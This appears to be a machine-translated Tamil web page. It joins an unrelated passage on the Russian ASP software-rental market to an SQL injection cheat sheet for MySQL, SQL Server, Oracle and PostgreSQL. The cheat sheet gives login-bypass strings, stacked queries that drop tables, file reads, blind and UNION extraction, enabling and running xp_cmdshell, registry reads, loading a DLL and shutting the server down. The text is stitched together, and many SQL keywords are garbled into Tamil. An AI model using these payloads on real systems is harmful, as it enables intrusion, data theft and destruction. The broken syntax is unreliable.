உள்நுழைவு கட்டுப்பாட்டை நிரலாக்கம். SQL இன்ஜெக்ஷனைப் பயன்படுத்தி தொலைவிலிருந்து கட்டளைகளை எவ்வாறு இயக்கலாம்

தற்போது, ​​ரஷ்யாவில் ஒரு முழுமையான ஏஎஸ்பி சந்தை உருவாகியுள்ளது என்று கூற முடியாது. ரஷ்ய பயனர்கள், பெரும்பாலும், ஏஎஸ்பி கருத்தை தங்கள் வணிகத்திற்கு பயனுள்ளதாக உணரவில்லை. தற்போது (இந்த கட்டுரையை எழுதும் நேரத்தில்) ரஷ்ய சந்தைஒரு பெரிய நிறுவனத்தில் ஏஎஸ்பி மாதிரியை முழு அளவில் செயல்படுத்துவதற்கு ஒரு வெற்றிகரமான உதாரணம் இல்லை. உண்மையில், ஹோஸ்டிங், ஏஎஸ்பி மாதிரியின் தனிப்பட்ட செயல்படுத்தப்பட்ட கூறுகள், ஏஎஸ்பி வணிகத்தில் ஈடுபட விரும்பும் நிறுவனங்கள் போன்றவை மட்டுமே உள்ளன. அதாவது, ரஷ்யாவில் கிளாசிக்கல் ஏஎஸ்பி மாதிரி இன்னும் செயல்படுத்தப்படவில்லை.

இப்போது ரஷ்ய சந்தையில், ஏஎஸ்பி மாதிரி தனிப்பயனாக்கப்பட்ட மின்னஞ்சல் சேவைகள் (Mail.ru, Beep.ru, Freemail.ru, முதலியன) மற்றும் சிறப்பு உயர் தொழில்நுட்ப சேவைகளுக்கு மட்டுமே பொருந்தும் (எடுத்துக்காட்டாக, பேனர் மற்றும் தேடுபொறிகள், இணைய புள்ளிவிவர அமைப்புகள் , முதலியன) . அதே நேரத்தில், அஞ்சல் சேவைகளை வாடகைக்கு எடுப்பது என்பது ஒவ்வொரு பயனருக்கும் தனிப்பட்ட அஞ்சல் பெட்டியை வழங்குவதைக் குறிக்காது. இலவச மின்னஞ்சல் சேவையகங்கள் பெருநிறுவனத் துறையில் சிறு வணிகங்கள் மற்றும் தனியார் தொழில்முனைவோரால் பரவலாகப் பயன்படுத்தப்படுகின்றன. அத்தகைய சேவைகளின் முக்கிய வாடிக்கையாளர்கள் கார்ப்பரேட் மின்னஞ்சல் சேவையை ஒழுங்கமைக்க விரும்பும் நிறுவனங்கள் (அல்லது கார்ப்பரேட் ஆவண ஓட்டத்தை தானியங்குபடுத்துதல்) அல்லது இணைய வழங்குநர்கள் (உதாரணமாக, போர்ட்டல்கள் Rambler.ru, Yandex.ru போன்றவை) இலவச இணைய அஞ்சல் சேவையை ஏற்பாடு செய்ய விரும்புகின்றன. அவர்களின் பார்வையாளர்களுக்காக.

எலக்ட்ரானிக் கடைகளை வாடகைக்கு எடுப்பதில் ரஷ்ய பயனர்களிடையே ஒரு குறிப்பிட்ட ஆர்வம் உள்ளது (மின்னணு வர்த்தக தளத்தில் ஷோகேஸ்கள்). மேலும் இது மிகவும் புரிந்துகொள்ளத்தக்கது. ரஷ்யாவில் ஆன்லைன் வர்த்தகத்திற்கு இன்னும் மிகக் குறைவான வெற்றிகரமான எடுத்துக்காட்டுகள் இருப்பதால் (பல நிறுவனங்களின் குறிப்பிடத்தக்க சாதனைகளைப் பற்றி உரத்த அறிக்கைகள் இருந்தபோதிலும்), ஒரு மின்னணு கடையை வாடகைக்கு எடுப்பதற்கு குறைந்த பணத்தை செலவழிப்பது மிகவும் நியாயமானதாகத் தெரிகிறது. அதை வாங்கி பராமரித்தல்). திட்டம் தோல்வியுற்றால், அது மிக விரைவாக மற்றும் குறிப்பிடத்தக்க இழப்புகள் இல்லாமல் மூடப்படும். மேற்கு நாடுகளில் பரவலாக இருக்கும் ஈஆர்பி பயன்பாடுகளை வாடகைக்கு எடுப்பது, இப்போது ரஷ்யாவில் பைலட் திட்டங்களின் கட்டத்தில் மட்டுமே உள்ளது.

வாடகைக்கு வழங்கப்படும் விண்ணப்பங்களில் ஒப்பீட்டளவில் எளிமையான அலுவலக தொகுப்புகள் (MS Office போன்றவை) மற்றும் மிகவும் சிக்கலான பயன்பாடுகள் (Lotus Smart Suite போன்றவை), அத்துடன் ERP அமைப்புகள் (நேவிஷன் ஆக்ஸாப்டா போன்றவை) ஆகியவை அடங்கும்.

ரஷ்ய ஏஎஸ்பி சந்தையின் முக்கிய சிக்கல்கள் மற்றும் அம்சங்கள்.

10.2 ரஷ்ய சந்தையில் சிக்கல்கள்.

தற்போது, ​​ரஷ்ய ஏஎஸ்பி சந்தையானது உலகளாவிய ஏஎஸ்பி சந்தையை விட குறைந்தது பல ஆண்டுகள் பின்தங்கியுள்ளது. ரஷ்ய ஏஎஸ்பி சந்தையின் கரு நிலை அதில் இருக்கும் பல சிக்கல்களால் ஏற்படுகிறது. இந்த சிக்கல்களில் முக்கியமானவை:

1. மேற்கத்திய நாடுகளில் இருந்து ரஷ்ய பொருளாதாரத்தின் பொதுவான பின்னடைவு மற்றும் நிறுவனங்களின் தொழில்நுட்ப உள்கட்டமைப்பின் வளர்ச்சியின்மை. இப்போது வரை, பெரும்பாலான ரஷ்ய நிறுவனங்கள் பல தசாப்தங்களுக்கு முன்பு உருவாக்கப்பட்ட தொழில்நுட்ப உள்கட்டமைப்பில் இயங்குகின்றன. தற்போது, ​​அதன் நவீனமயமாக்கலில் நிறுவனங்களின் முதலீடுகள் இன்னும் போதுமானதாக இல்லை. இங்கே பிரச்சனை நிறுவனங்களின் நிதி முன்னுரிமைகள், ஏனெனில் அவர்கள் அனைவரும் தொழில்நுட்ப உள்கட்டமைப்பை நவீனமயமாக்குவதற்கு தேவையான நிதியை முதலீடு செய்ய முடியாது. எனவே, தற்போதுள்ள உள்கட்டமைப்பைப் பயன்படுத்தி தங்களது தற்போதைய பிரச்னைகளை தீர்க்க வேண்டும்.

2.ஏஎஸ்பி சேவைகளுக்கான குறைந்த தேவை. மக்கள்தொகை மற்றும் பெருநிறுவன வாடிக்கையாளர்கள் ASP சேவைகளுக்கு பணம் செலுத்த தயாராக இல்லை (பெரும்பாலும்). சராசரி ரஷ்ய நுகர்வோர் இப்போது அதிக அழுத்தமான மற்றும் முக்கிய செலவின முன்னுரிமைகளைக் கொண்டிருந்தாலும், கார்ப்பரேட் பயனர்கள் இன்னும் ASP சேவைகளை பெரிதாக எடுத்துக் கொள்ளவில்லை.

3.மின்னணு சந்தைக்கான சட்டமியற்றும் கட்டமைப்பின் பலவீனம். சட்டங்களின் முழு தொகுப்பு ஏற்றுக்கொள்ளப்படும் வரை, மின்னணு சந்தையின் வளர்ச்சி (ASP உட்பட) பற்றி பேச வேண்டிய அவசியமில்லை.

4. கார்ப்பரேட் வாடிக்கையாளர்களின் (குறிப்பாக மிகவும் கரைப்பான் நிறுவனங்கள்) நிதி அறிக்கையின் மூடல்.

5. பெரிய நிறுவனங்களின் தகவல் தொழில்நுட்பத் துறைகளின் (வெளிப்படையான மற்றும் மறைமுகமான) எதிர்ப்பு, மற்ற பணிகளில் கவனம் செலுத்த வேண்டும், பணியாளர்கள் மற்றும் தகவல் தொழில்நுட்ப வரவு செலவுகளைக் குறைக்க வேண்டும்.

6. ரஷ்ய நிறுவனங்களுக்கான ASP மாதிரியில் பயன்படுத்தக்கூடிய சிறிய எண்ணிக்கையிலான பயன்பாடுகள்.

7. ஒப்பீட்டளவில் குறைந்த சம்பளத்துடன் கூடிய அதிக எண்ணிக்கையிலான நுழைவு நிலை மற்றும் நடுத்தர அளவிலான தகவல் தொழில்நுட்ப வல்லுநர்கள் ரஷ்ய தொழிலாளர் சந்தையில் இருப்பது. 1998 நெருக்கடிக்குப் பிறகு, தகவல் தொழில்நுட்ப வல்லுநர்களுக்கான சம்பளத்தின் பெரும்பகுதி நெருக்கடிக்குப் பிந்தைய அதே நிலையில் இருந்தது. ASP சேவைகளுக்கு பணம் செலுத்துவதை விட சிறிய மற்றும் நடுத்தர நிறுவனங்கள் தங்கள் சொந்த தகவல் தொழில்நுட்ப சேவைகளை பராமரிப்பது சில சமயங்களில் மலிவானது (மேற்கத்திய நிறுவனங்களைப் போலல்லாமல், நிலைமை நேர்மாறாக உள்ளது).

சுருக்க விளக்கத்திற்காக SQL ஊசி ஏமாற்று தாள் உருவாக்கப்பட்டது தொழில்நுட்ப அம்சங்கள் பல்வேறு வகையான SQL ஊசி பாதிப்புகள். கட்டுரை SQL ஊசிகளின் அம்சங்களை வழங்குகிறது MySQL, மைக்ரோசாப்ட் SQLசேவையகம், ஆரக்கிள்மற்றும் PostgreSQL.

0. அறிமுகம்
இந்த கட்டுரையில் நீங்கள் விரிவாக காணலாம் தொழில்நுட்ப தகவல்பல்வேறு வகையான SQL ஊசி மருந்துகள் பற்றி. அனுபவம் வாய்ந்த நிபுணர்கள் மற்றும் தகவல் பாதுகாப்புத் துறையில் புதிதாக வருபவர்களுக்கு இது பயனுள்ளதாக இருக்கும்.

இந்த நேரத்தில், மெமோவில் MySQL, Microsoft க்கான தகவல்கள் மட்டுமே உள்ளன SQL சர்வர்மற்றும் ORACLE மற்றும் PostgreSQL க்கான சில தரவு. பிரிவுகளில் ஊசி தொடரியல், விளக்கங்கள் மற்றும் எடுத்துக்காட்டுகள் உள்ளன.

பயன்படுத்தப்படும் சின்னங்கள்:
எம் (MySQL);
எஸ் (SQL சர்வர்);
ஓ (ஆரக்கிள்);
பி (PostgreSQL);
+ (ஒருவேளை பிற தரவுத்தளங்களில்);
* (சிறப்பு நிபந்தனைகள் தேவை).

1. வரி கருத்துகள்
வினவலின் ஒரு பகுதியைப் புறக்கணிக்க கருத்துகள் பொதுவாக பயனுள்ளதாக இருக்கும்.
தொடரியல்:
-- (SM): டிராப் மாதிரி அட்டவணை;--
# (எம்): டிராப் மாதிரி அட்டவணை;#
உதாரணமாக:
பயனர்பெயர்: நிர்வாகி" --
உருவாக்கப்பட்ட வினவல்: பயனர் பெயர் = "நிர்வாகம்"--" மற்றும் கடவுச்சொல் = "கடவுச்சொல்" எங்கிருந்து உறுப்பினர்களிடமிருந்து * தேர்ந்தெடுக்கவும்
கடவுச்சொல் சரிபார்ப்பைத் தவிர்த்து, நிர்வாகி பயனராக உள்நுழைய இது உங்களை அனுமதிக்கும்.

2. கருத்துகளைத் தடு
அவர்களின் உதவியுடன், கோரிக்கையின் ஒரு பகுதியை நீங்கள் புறக்கணிக்கலாம், இடைவெளிகளை மாற்றலாம், தடுப்புப்பட்டியலைத் தவிர்க்கலாம் மற்றும் தரவுத்தள பதிப்பைத் தீர்மானிக்கலாம்.
தொடரியல்:
/*கருத்து*/ (SM):
டிராப்/*கருத்து*/மாதிரி
DR/**/OP/*bypass_blacklist*/sampletable
SELECT/*replace_space*/password/**/FROM/**/Members

/*! MYSQL சிறப்பு SQL */ (M): தேர்வு /*!32302 1/0, */ 1 டேபிள்பெயரில் இருந்து
இது MySQL க்கான சிறப்பு கருத்து தொடரியல் ஆகும். இது MySQL பதிப்பைக் கண்டறிய உங்களை அனுமதிக்கிறது. இந்த கருத்து MySQL இல் மட்டுமே வேலை செய்யும்
எடுத்துக்காட்டுகள்:
ஐடி: 10; அட்டவணை உறுப்பினர்களை கைவிடவும் /*
ஒரு வரிக் கருத்தைப் போலவே மீதமுள்ள கோரிக்கையையும் நாங்கள் புறக்கணிக்கிறோம்.

ஐடி: /*!32302 10*/
MySQL பதிப்பு 3.23.02 ஐ விட அதிகமாக இருந்தால், ID=10 இல் உள்ள அதே பதிலைப் பெறுவீர்கள்.

ஐடி: /*!32302 1/0, */
உருவாக்கப்பட்ட வினவல்: தேர்வு /*!32302 1/0, */ 1 டேபிள்பெயரில் இருந்து
சர்வரில் 3.23.02 ஐ விட அதிகமான MySQL பதிப்பு இருந்தால் 0 ஆல் வகுத்தல் பிழை ஏற்படும்.

3. கோரிக்கைகளின் வரிசை
ஒரே நேரத்தில் ஒன்றுக்கு மேற்பட்ட கோரிக்கைகளை இயக்க உங்களை அனுமதிக்கிறது. ஊசி போடும் எந்த இடத்திலும் இது பயனுள்ளதாக இருக்கும்.


பச்சை - ஆதரவு; கருப்பு - ஆதரிக்கப்படவில்லை; சாம்பல் - தெரியவில்லை.
தொடரியல்:
; (எஸ்): உறுப்பினர்களிடமிருந்து * தேர்ந்தெடு; DROP உறுப்பினர்கள்--
ஒரு கோரிக்கை முடிந்தது, அடுத்தது தொடங்கியது.
உதாரணமாக:
ஐடி: 10;DROP உறுப்பினர்கள் --
உருவாக்கப்பட்ட வினவல்: ஐடி = 10 எங்குள்ள தயாரிப்புகளில் இருந்து * தேர்ந்தெடு; DROP உறுப்பினர்கள்--
இந்த வினவல் ஒரு சாதாரண வினவலுக்குப் பிறகு உறுப்பினர் அட்டவணையைக் கைவிடும்.

4. நிபந்தனை அறிக்கைகள்
நிபந்தனை பூர்த்தி செய்யப்பட்டால் கோரிக்கைக்கான பதிலைப் பெறுவோம். குருட்டு ஊசியின் முக்கிய புள்ளிகளில் இதுவும் ஒன்றாகும். இது எளிய விஷயங்களை துல்லியமாக சரிபார்க்க உதவுகிறது.
தொடரியல்:
IF(நிபந்தனை, உண்மை-பகுதி, தவறான பகுதி) (M): IF(1=1,"true","false")
IF நிபந்தனை உண்மை-பகுதி ELSE தவறு-பகுதி (S): IF (1=1) "உண்மை" என்பதைத் தேர்ந்தெடுங்கள் இல்லையெனில் "தவறு" என்பதைத் தேர்ந்தெடுக்கவும்
நிபந்தனை என்றால் உண்மை-பகுதி; ELSE தவறான பகுதி; ENDIF; முடிவு; (O): IF (1=1) பிறகு dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); ENDIF; முடிவு;
நிபந்தனை எப்போது என்பதைத் தேர்ந்தெடுங்கள் பின்னர் உண்மைப் பகுதி மற்றது தவறான பகுதி END; (பி): எப்பொழுது வழக்கைத் தேர்ந்தெடுக்கவும் (1=1) பின்னர் "ஏ" வேறு "பி" முடிவு;
உதாரணமாக:
என்றால் ((பயனரை தேர்ந்தெடு) = "sa" அல்லது (பயனரை தேர்ந்தெடு) = "dbo") 1 ஐ தேர்ந்தெடு 1/0 (S)
என்றால் பூஜ்ஜிய பிழை மூலம் ஒரு பிரிவை எறிவார் தற்போதைய பயனாளி"sa" அல்லது "dbo" அல்ல.

5. எண்களைப் பயன்படுத்துதல்
WAF உட்பட magic_quotes() மற்றும் ஒத்த வடிப்பான்களைத் தவிர்க்கப் பயன்படுகிறது.
தொடரியல்:
0xHEX_NUMBER (SM):
சார்(0x66) (எஸ்) ஐ தேர்ந்தெடு
SELECT 0x5045 (இது எண் அல்ல, ஒரு சரம்) (M)
தேர்வு 0x50 + 0x45 (இப்போது இது ஒரு எண்) (எம்)
எடுத்துக்காட்டுகள்:
LOAD_FILE(0x633A5C626F6F742E696E69) (M)ஐத் தேர்ந்தெடுக்கவும்
c:\boot.ini கோப்பின் உள்ளடக்கங்களைக் காட்டுகிறது

6. சரம் இணைத்தல்
வடிப்பான்களைத் தவிர்க்க அல்லது தரவுத்தளத்தை அடையாளம் காண சரம் செயல்பாடுகள் உதவும்.
தொடரியல்:
+ (S): உறுப்பினர்களிடமிருந்து உள்நுழைவு + "-" + கடவுச்சொல்லைத் தேர்ந்தெடுக்கவும்
|| (*MO): உள்நுழைவைத் தேர்ந்தெடு || "-" || உறுப்பினர்களிடமிருந்து கடவுச்சொல்
MySQL ANSI பயன்முறையில் இயங்கினால் வேலை செய்யும். இல்லையெனில் MySQL அதை ஏற்காது தருக்க ஆபரேட்டர்மற்றும் 0 ஐ வழங்கும். MySQL இல் CONCAT() செயல்பாட்டைப் பயன்படுத்துவது நல்லது.

CONCAT(str1, str2, str3, …) (M): உறுப்பினர்களிடமிருந்து CONCAT (உள்நுழைவு, கடவுச்சொல்) தேர்ந்தெடுக்கவும்

7. மேற்கோள்கள் இல்லாத சரங்கள்
வினவலில் மேற்கோள்களைப் பயன்படுத்துவதைத் தவிர்க்க, CHAR() (MS) மற்றும் CONCAT() (M) போன்ற பல வழிகள் உள்ளன.
தொடரியல்:
தேர்ந்தெடு 0x457578 (எம்)

MySQL ஆனது சரத்தை ஹெக்ஸ் குறியீடாகக் குறிக்க எளிய வழியைக் கொண்டுள்ளது:
CONCAT("0x",HEX("c:\\boot.ini")) தேர்ந்தெடு

"KLM" சரத்தை வழங்குகிறது:
CONCAT(CHAR(75),CHAR(76),CHAR(77)) (M) ஐ தேர்ந்தெடு
சார்(75)+சார்(76)+சார்(77) (எஸ்)
தேர்ந்தெடு CHR(75)||CHR(76)||CHR(77) (O)
SELECT (CHaR(75)||CHaR(76)||CHaR(77)) (P)

8. சரங்கள் மற்றும் எண்களை மாற்றுதல்.
தொடரியல்:
ASCII() (SMP): ASCII("a") ஐ தேர்ந்தெடு
இடதுபுற எழுத்தின் ASCII குறியீட்டை வழங்கும். செயல்பாடு குருட்டு ஊசி பயன்படுத்தப்படுகிறது.

சார்() (SM): சார் (64) ஐ தேர்ந்தெடு
ASCII குறியீட்டை தொடர்புடைய எழுத்துக்கு மொழிபெயர்க்கிறது.

9. UNION ஆபரேட்டர்
UNION ஆபரேட்டருடன் நீங்கள் அட்டவணைகளின் குறுக்குவெட்டை வினவலாம். அடிப்படையில், மற்றொரு அட்டவணையில் இருந்து மதிப்பை வழங்கும் வினவலை நீங்கள் அனுப்பலாம்.
உதாரணமாக:
தலைப்பைத் தேர்ந்தெடு, செய்தி யூனியனிலிருந்து txt அனைத்துத் தேர்ந்தெடுக்கும் பெயர், உறுப்பினர்களிடமிருந்து அனுப்பவும்
இது செய்திகள் மற்றும் உறுப்பினர் அட்டவணையில் இருந்து முடிவுகளை ஒன்றிணைக்கும்

10. அங்கீகார பைபாஸ் (SMO+)
எடுத்துக்காட்டுகள்:
நிர்வாகம்" --
நிர்வாகம்" #
நிர்வாகம்"/*
"அல்லது 1=1--
"அல்லது 1=1#
"அல்லது 1=1/*
") அல்லது "1"="1--
") அல்லது ("1"="1--

11. பைபாஸ் MD5 அங்கீகாரம்
பயன்பாடு முதலில் பயனர்பெயரை ஒப்பிட்டு, கடவுச்சொல்லின் md5 ஹாஷை ஒப்பிட்டுப் பார்த்தால், அங்கீகாரத்தைத் தவிர்க்க உங்களுக்கு கூடுதல் தந்திரங்கள் தேவைப்படும். தெரிந்த கடவுச்சொல் மற்றும் அதன் ஹாஷ் மூலம் முடிவுகளை இணைக்கலாம்.
எடுத்துக்காட்டு (MSP):
பயனர் பெயர்: நிர்வாகி
கடவுச்சொல்: 1234 "மற்றும் 1=0 யூனியன் அனைத்தும் "நிர்வாகம்", "
= MD5(1234)

12. பிழை அடிப்படையிலானது
12.1 நெடுவரிசைகளை வரையறுத்தல்
உதாரணமாக:
அதே வரிசையில்
" 1=1 உள்ளது --
"அட்டவணை வாரியாக குழு.columnfromerror1 1=1 உள்ளது
"அட்டவணை வாரியாக குழு. columnfromerror1, columnfrommerrror2 1=1 உள்ளது --
" அட்டவணை மூலம் குழு
…………….
பிழைகள் வருவதை நிறுத்தும் வரை தொடரவும்.

12.2 ஆர்டர் மூலம் (MSO+) நெடுவரிசைகளின் எண்ணிக்கையைத் தீர்மானித்தல்
UNION ஊசி மூலம் ஆர்டர் மூலம் நெடுவரிசைகளின் எண்ணிக்கையைக் கண்டறிவதை துரிதப்படுத்தலாம்.
ஆர்டர் 1--
ஆர்டர் 2--
ஆர்டர் 3-
………………..
பிழை செய்தி வரும் வரை தொடரவும். இது நெடுவரிசைகளின் எண்ணிக்கையைக் குறிக்கும்.

13. தரவு வகை வரையறை
எப்போதும் UNION ஐ ALL உடன் பயன்படுத்தவும்.
தேவையற்ற அட்டவணை உள்ளீட்டிலிருந்து விடுபட, வினவலின் தொடக்கத்தில் இல்லாத மதிப்புகளில் -1 ஐப் பயன்படுத்தவும் (ஊசி எங்கே அளவுருவில் இருந்தால்). நீங்கள் ஒரு நேரத்தில் ஒரு மதிப்பை மட்டுமே மீட்டெடுக்க முடியும் என்றால் இது முக்கியமானது.
ஒரு சரம், தேதி, எண் போன்றவற்றை யூகிக்க முயற்சிப்பதற்குப் பதிலாக UNION ஊசிகளில் NULL ஐப் பயன்படுத்தவும். ஆனால் கண்மூடித்தனமாக ஊசி போடும்போது கவனமாக இருங்கள், ஏனென்றால்... நீங்கள் பயன்பாட்டுடன் தரவுத்தள பிழையை குழப்பிக் கொண்டிருக்கலாம். ASP.NET போன்ற சில மொழிகள், NULL மதிப்பைப் பயன்படுத்தும் போது பிழையை ஏற்படுத்துகின்றன (ஏனெனில், பயனர்பெயர் புலத்தில் பூஜ்ய மதிப்பைக் காண டெவலப்பர்கள் எதிர்பார்க்கவில்லை)
எடுத்துக்காட்டுகள்:
" யூனியன் பயனர்களிடமிருந்து தொகையை (columntofind) தேர்ந்தெடுக்கவும்-- (S) :
நீங்கள் பிழைச் செய்தியைப் பெறவில்லை என்றால், நெடுவரிசை எண்ணாக இருக்கும்.

* அட்டவணை 1 இலிருந்து தேர்ந்தெடுக்கவும் ஐடி = -1 யூனியன் அனைத்தும் பூஜ்யம், பூஜ்யம், பூஜ்யம், பூஜ்யம், மாற்றவும் (படம், 1), பூஜ்யம், பூஜ்யம், பூஜ்யம், பூஜ்யம், பூஜ்யம், பூஜ்யம், பூஜ்யம், பூஜ்யம், பூஜ்யம், பூஜ்யம், பூஜ்யம், பூஜ்யம் --
நீங்கள் CAST() அல்லது CONVERT()ஐப் பயன்படுத்தலாம்

11223344) யூனியன் NULL, NULL, NULL, NULL என்பதைத் தேர்ந்தெடுக்கவும் 1=2 –
பிழை இல்லை என்றால், தொடரியல் சரியானது, அதாவது. MS SQL சர்வர் பயன்படுத்தப்படுகிறது.

11223344) யூனியன் தேர்ந்தெடு 1, பூஜ்ய, பூஜ்ய, வெற்று எங்கே 1=2 –-
பிழை இல்லை என்றால், முதல் நெடுவரிசை ஒரு எண்.

11223344) யூனியன் தேர்வு 1,2,NULL,NULL எங்கே 1=2 –
பிழை தோன்றினால், இரண்டாவது நெடுவரிசை எண் அல்ல.

11223344) யூனியன் தேர்ந்தெடு 1,'2',நிஜம்,நிஜம் எங்கே 1=2 –-
பிழை இல்லை என்றால், இரண்டாவது நெடுவரிசை ஒரு சரம்.
……………..

14. எளிய செருகல் (MSO+)
உதாரணமாக:
"; பயனர் மதிப்புகளில் செருகவும்(1, "hax0r", "coolpass", 9)/*

15. தகவல் சேகரிப்பு
தொடரியல்:
@@பதிப்பு (MS)
தரவுத்தள பதிப்பு மற்றும் விரிவான தகவல்களை நீங்கள் காணலாம்.
உதாரணமாக:
உறுப்பினர்களுக்குள் நுழையுங்கள்(ஐடி, பயனர், பாஸ்) மதிப்புகள்(1, ""+SUBSTRING(@@version,1,10) ,10)

16. சிக்கலான செருகு (S)
ஒரு கோப்பின் உள்ளடக்கங்களை அட்டவணையில் செருக உங்களை அனுமதிக்கிறது. இணைய பயன்பாட்டின் உள் பாதை உங்களுக்குத் தெரியாவிட்டால், நீங்கள் IIS மெட்டாபேஸைப் படிக்கலாம் (IIS 6 மட்டும்).
தொடரியல்:
கோப்பு (%systemroot%\system32\inetsrv\MetaBase.xml)
பின்னர் அதில் பயன்பாட்டு பாதைகளைக் காணலாம்.
உதாரணமாக:
1. டேபிள் ஃபூவை உருவாக்கவும் (சரம் வகை வர்ச்சர்(8000))
2. 'c:\inetpub\wwwroot\login.asp' கோப்பின் உள்ளடக்கங்களை அட்டவணை foo இல் செருகவும்
3. தற்காலிக அட்டவணையை கைவிட்டு மற்றொரு கோப்பிற்கு மீண்டும் செய்யவும்.

17. BCP (S)
எழுதுகிறார் உரை கோப்பு. இதற்கு சான்றுகள் தேவை.
உதாரணமாக:
bcp "தேர்வு * தேர்வு.. foo" வினவல்

18. SQL சர்வரில் (S) VBS, WSH
நீங்கள் SQL சர்வரில் VBS, WSH ஸ்கிரிப்ட்களைப் பயன்படுத்தலாம்.
உதாரணமாக:
பயனர்பெயர்:"; @o int exec sp_oacreate "wscript.shell", @o out exec sp_oamethod @o, "ரன்", NULL, "notepad.exe" என அறிவிக்கவும் –

19. கணினி கட்டளைகளை (S) இயக்கவும்
நன்கு அறியப்பட்ட தந்திரம், SQL சர்வர் 2005 இல் இயல்புநிலையாக அம்சம் முடக்கப்பட்டுள்ளது. உங்களுக்கு நிர்வாகி உரிமைகள் தேவை.
உதாரணமாக:
EXEC master.dbo.xp_cmdshell "cmd.exe dir c:"
EXEC master.dbo.xp_cmdshell "பிங்"

20. SQL சர்வரில் (S) சிறப்பு அட்டவணைகள்
எடுத்துக்காட்டுகள்:
பிழைச் செய்திகள்: மாஸ்டர்..சிஸ்மெசேஜ்கள்
இணைக்கப்பட்ட சேவையகங்கள்: master..sysservers
கடவுச்சொல் SQL சர்வர் 2000: masters..sysxlogins
கடவுச்சொல் SQL சர்வர் 2005: sys.sql_logins

21. SQL சேவையகத்திற்கான (S) பல சேமிக்கப்பட்ட செயல்முறைகள்
தொடரியல்:
Cmd Execute (xp_cmdshell)
பதிவு பொருட்கள் (xp_regread):
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
மேலாண்மை சேவைகள் (xp_servicecontrol)
ஊடகங்கள் (xp_availablemedia)
ODBC வளங்கள் (xp_enumdsn)
உள்நுழைவு முறை (xp_loginconfig)
கேப் கோப்புகளை உருவாக்குதல் (xp_makecab)
டொமைன் கணக்கீடு (xp_ntsec_enumdomains)
செயல்முறை கொலை (PID தேவை) (xp_terminate_process)
புதிய நடைமுறையைச் சேர்க்கவும் (sp_addextendedproc)
உரை கோப்பை UNC அல்லது உள் பாதைக்கு எழுதவும் (sp_makewebtask)
எடுத்துக்காட்டுகள்:
exec xp_regread HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Services\lanmanserver\parameters", "nullsessionshares"
exec xp_regenumvalues ​​HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Services\snmp\parameters\valid communities"
sp_addextendedproc 'xp_webserver', 'c:\temp\x.dll'
exec xp_webserver

22. MSSQL மொத்த குறிப்புகள்
எடுத்துக்காட்டுகள்:
தேர்ந்தெடு * முதன்மையிலிருந்து..sysprocesses /*WHERE spid=@@SPID*/
டிக்ளேர் @result int; EXEC @result = xp_cmdshell "dir *.exe";IF (@result = 0) 0 ஐத் தேர்ந்தெடு 1/0
HOST_NAME()
IS_MEMBER (பரிவர்த்தனை-SQL)
IS_SRVROLEMEMBER (பரிவர்த்தனை-SQL)
OPENDATASOURCE (பரிவர்த்தனை-SQL)
tbl EXEC மாஸ்டரைச் செருகவும்..xp_cmdshell OSQL /Q"DBCC SHOWCONTIG"
OPENROWSET (பரிவர்த்தனை-SQL) - http://msdn2.microsoft.com/en-us/library/ms190312.aspx

23. LIMIT (M) வினவல்களில் SQL ஊசி
உதாரணமாக:
ஐடியைத் தேர்ந்தெடு, test.test இலிருந்து தயாரிப்பு வரம்பு 0,0 யூனியன் அனைத்தையும் தேர்வு 1,"x"/*,10 ;
LIMIT ஆபரேட்டரைத் தவிர்க்க, நீங்கள் UNION அல்லது கருத்தைப் பயன்படுத்தலாம்.

24. பணிநிறுத்தம் SQL சர்வர் (S)
உதாரணமாக:
";பணிநிறுத்தம் -

25. SQL சர்வர் 2005 இல் xp_cmdshell ஐ இயக்குகிறது
தொடரியல்:
இயல்பாக, xp_cmdshell மற்றும் சில ஆபத்தான அம்சங்கள் SQL சர்வர் 2005 இல் முடக்கப்பட்டுள்ளன. உங்களிடம் நிர்வாக உரிமைகள் இருந்தால், அவற்றை இயக்கலாம்.
EXEC sp_configure "மேம்பட்ட விருப்பங்களைக் காட்டு",1
மறுசீரமைப்பு
EXEC sp_configure "xp_cmdshell",1
மறுசீரமைப்பு

26. SQL சர்வரில் (S) தரவுத்தள கட்டமைப்பைத் தேடுகிறது
எடுத்துக்காட்டுகள்:
xtype = "U" எங்கே sysobjects இல் இருந்து பெயரைத் தேர்ந்தெடு

சிஸ்கோலம்களில் இருந்து பெயரைத் தேர்ந்தெடு எங்கிருந்து ஐடி =(சிசோப்ஜெக்ட்களில் இருந்து ஐடியைத் தேர்ந்தெடு எங்கே பெயர் = "அட்டவணைப்பெயர்களுக்கான நிரல் பெயர்கள்")
நெடுவரிசைப் பெயர்களைப் பெறுதல்

27. நகரும் பதிவுகள் (S)
எடுத்துக்காட்டுகள்:
... பயனர்கள் இல்லாத இடத்தில் ("முதல் பயனர்", "இரண்டாம் பயனர்")
WHERE இல் NOT IN அல்லது NOT EXIST உடன் பயன்படுத்தவும்

இல்லாத உறுப்பினர்களிடமிருந்து முதல் 1 பெயரைத் தேர்ந்தெடுக்கவும் (உறுப்பினர்களிடமிருந்து முதல் 0 பெயரைத் தேர்ந்தெடுக்கவும்)

தயாரிப்பில் இருந்து * தேர்ந்தெடு<=o.id)
AS x, sysobjects இலிருந்து பெயர் o) p ஆக p, p.x=3) int

இலிருந்து p.name ஐ தேர்ந்தெடு<=o.id) AS x, name from sysobjects o WHERE o.xtype = "U") as p where p.x=21

28. SQL சர்வரில் (S) பிழை அடிப்படையிலான SQL ஊசியிலிருந்து தரவைப் பிரித்தெடுப்பதற்கான விரைவான வழி
"; BEGIN அறிவிக்கவும் @rt varchar(8000) SET @rd=":" SELECT @rd=@rd+" "+name from syscolumns WHERE id =(Sysobjects இலிருந்து ஐடியைத் தேர்ந்தெடுக்கவும் பெயர் = "உறுப்பினர்கள்") மற்றும் பெயர்>@rd தேர்வு TMP_SYS_TMP முடிவில் @rd AS rd;--

29. MySQL (M) இல் தரவுத்தள கட்டமைப்பைத் தேடுகிறது
எடுத்துக்காட்டுகள்:
information_schema.tables இல் இருந்து table_name ஐ தேர்ந்தெடு
தனிப்பயன் அட்டவணைகளைப் பெறுதல்

table_name, column_name from information_schema.columns WHERE table_schema = "tablename"
நெடுவரிசைப் பெயர்களைப் பெறுதல்

